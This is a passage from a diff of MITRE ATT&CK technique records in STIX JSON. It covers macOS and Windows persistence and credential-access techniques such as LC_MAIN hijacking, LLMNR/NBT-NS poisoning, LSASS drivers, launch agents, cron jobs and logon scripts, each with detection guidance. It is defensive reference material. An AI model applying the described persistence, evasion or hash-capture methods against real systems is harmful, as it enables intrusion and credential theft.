"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1161", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1161" + }, + { + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + } + ], + "modified": "2019-07-18T15:28:31.679Z" + }, + { + "x_mitre_data_sources": [ + "Binary file metadata", + "Malware reverse engineering", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "LC_MAIN Hijacking", + "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", + "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-18T15:29:32.364Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1149", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1149" + }, + { + "source_name": "Prolific OSX Malware History", + "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.", + "url": "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ] + }, + { + "x_mitre_data_sources": [ + "Windows event logs", + "Windows Registry", + "Packet capture", + "Netflow/Enclave netflow" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "LLMNR/NBT-NS Poisoning and Relay", + "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", + "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Eric Kuehn, Secure Ideas", + "Matthew Demaske, Adaptforward" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1171", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1171" + }, + { + "source_name": "Wikipedia LLMNR", + "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.", + "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution" + }, + { + "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.", + "source_name": "TechNet NetBIOS", + "url": "https://technet.microsoft.com/library/cc958811.aspx" + }, + { + "source_name": "byt3bl33d3r NTLM Relaying", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html" + }, + { + "source_name": "Secure Ideas SMB Relay", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html" + }, + { + "source_name": "GitHub NBNSpoof", + "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.", + "url": "https://github.com/nomex/nbnspoof" + }, + { + "source_name": "Rapid7 LLMNR Spoofer", + "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.", + "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response" + }, + { + "source_name": "GitHub Responder", + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "url": "https://github.com/SpiderLabs/Responder" + }, + { + "source_name": "Sternsecurity LLMNR-NBTNS", + "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.", + "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning" + }, + { + "source_name": "GitHub Conveigh", + "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.", + "url": "https://github.com/Kevin-Robertson/Conveigh" + } + ], + "modified": "2019-06-25T13:11:17.247Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "File monitoring", + "Kernel drivers", + "Loaded DLLs", + "Process monitoring" + ], + "name": "LSASS Driver", + "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", + "x_mitre_remote_support": false, + "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1177", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1177" + }, + { + "source_name": "Microsoft Security Subsystem", + "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/cc961760.aspx" + }, + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + } + ], + "modified": "2019-07-18T15:35:28.054Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "name": "Launch Agent", + "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).", + "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1159", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1159" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" + }, + { + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + } + ], + "modified": "2019-07-18T15:25:53.604Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "name": "Launch Daemon", + "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.", + "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_effective_permissions": [ + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1160", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1160" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" + }, + { + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + } + ], + "modified": "2019-07-18T15:26:40.592Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Launchctl", + "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", + "x_mitre_remote_support": false, + "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-18T15:27:13.077Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1152", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1152" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ] + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "User", + "root" + ], + "name": "Local Job Scheduling", + "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", + "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1168", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1168" + }, + { + "source_name": "Die.net Linux crontab Man Page", + "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.", + "url": "https://linux.die.net/man/5/crontab" + }, + { + "source_name": "Die.net Linux at Man Page", + "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.", + "url": "https://linux.die.net/man/1/at" + }, + { + "source_name": "AppleDocs Scheduling Timed Jobs", + "description": "Apple. (n.d.). Retrieved July 17, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html" + }, + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + }, + { + "source_name": "Avast Linux Trojan Cron Persistence", + "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.", + "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/" + } + ], + "modified": "2019-07-18T15:32:39.720Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "API monitoring" + ], + "name": "Login Item", + "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).", + "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1162", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1162" + }, + { + "source_name": "capec", + "external_id": "CAPEC-564", + "url": "https://capec.mitre.org/data/definitions/564.html" + }, + { + "source_name": "Adding Login Items", + "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + } + ], + "modified": "2019-07-18T15:33:05.940Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "type": "attack-pattern", + "name": "Logon Scripts", + "description": "### Windows\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n### Mac\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.", + "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Write access to system or domain logon scripts" + ], + "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:38.910Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1037" + }, + { + "source_name": "capec", + "external_id": "CAPEC-564", + "url": "https://capec.mitre.org/data/definitions/564.html" + }, + { + "source_name": "TechNet Logon Scripts", + "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx" + }, + { + "source_name": "creating login hook", + "description": "Apple. 